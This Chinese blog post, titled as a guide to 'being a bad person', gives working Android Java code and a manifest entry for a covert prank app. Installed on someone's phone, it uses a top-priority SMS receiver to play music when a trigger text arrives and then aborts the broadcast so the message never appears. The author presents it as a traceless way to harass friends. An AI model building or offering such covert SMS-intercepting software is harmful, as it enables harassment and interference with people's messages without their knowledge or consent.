教你如何做个坏人----指令广播骚扰

来源:互联网 发布:c语言标识符命名规则 编辑:程序博客网 时间:2024/05/01 14:57

                     大家好,今晚我给大家带来一个非常有趣的案例。巧用系统广播,你只需发一条指令到安装你软件的手机里,手机立马响起歌曲,并且截断了短信,被骚扰者完成不知道是谁搞得恶作剧,手法高明,无事发痕迹,平时无聊之际,可可逗逗好友,提高逼格,增加存在感,这是一款娱乐性极强的小软件。

                    相信大家对这个demo开发非常感兴趣了吧,其实不难,你知道如何调用系统广播,然后根据广播做事,就Ok啦。

//创建一个广播对象,继承BroadcastReceiver类

public class SmsReceiver extends BroadcastReceiver {

//接受广播,intent在这里包括短信内容
 public void onReceive(Context context, Intent intent) {
  //pdus国际标准单元数据,一条短信大概有70多汉字
  Object[] object = (Object[]) intent.getExtras().get("pdus")
;

 //对目标数据进行遍历
  for (Object obj : object) {
   //短信字符节数组
   byte[] pdu = (byte[]) obj;
   //通过字符节生成短信
   SmsMessage smsMessage = SmsMessage.createFromPdu(pdu);
   //获取发短信的电话号码
   String num = smsMessage.getOriginatingAddress();
   //获取短信的内容
   String content = smsMessage.getMessageBody();
   //判断指令,如果指令短信内容为#*alarm*#,开始播放音乐
   if ("#*alarm*#".equals(content)) {

//创建音乐播放器对象
    MediaPlayer mediaPlayer = MediaPlayer.create(context,
      R.raw.leave);

//播放音乐
    mediaPlayer.start();

 //截断短信
    abortBroadcast();
   }
  }
 }

}

别以为在这就完事了,还有最重要的操作就是在Androidmanifest.xml注册广播。不然效果实现不了

//注册系统短信广播

 <receiver
            android:name="com.example.demo0819_sqlite.receiver.SmsReceiver"
            >

 //接受短信广播的接收器

//短信广播,是一个有序广播:有优先级,优先级高的先收到,且可以截断广播事件

//优先级范围:1000到-1000

//priority优先级等于1000,最高
   <intent-filter android:priority="1000" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
  </receiver>

通过以上操作,我们就可以恶搞亲朋好友了,希望你们能达到一些些开心咯。那就这样咯,晚安。



0 0
原创粉丝点击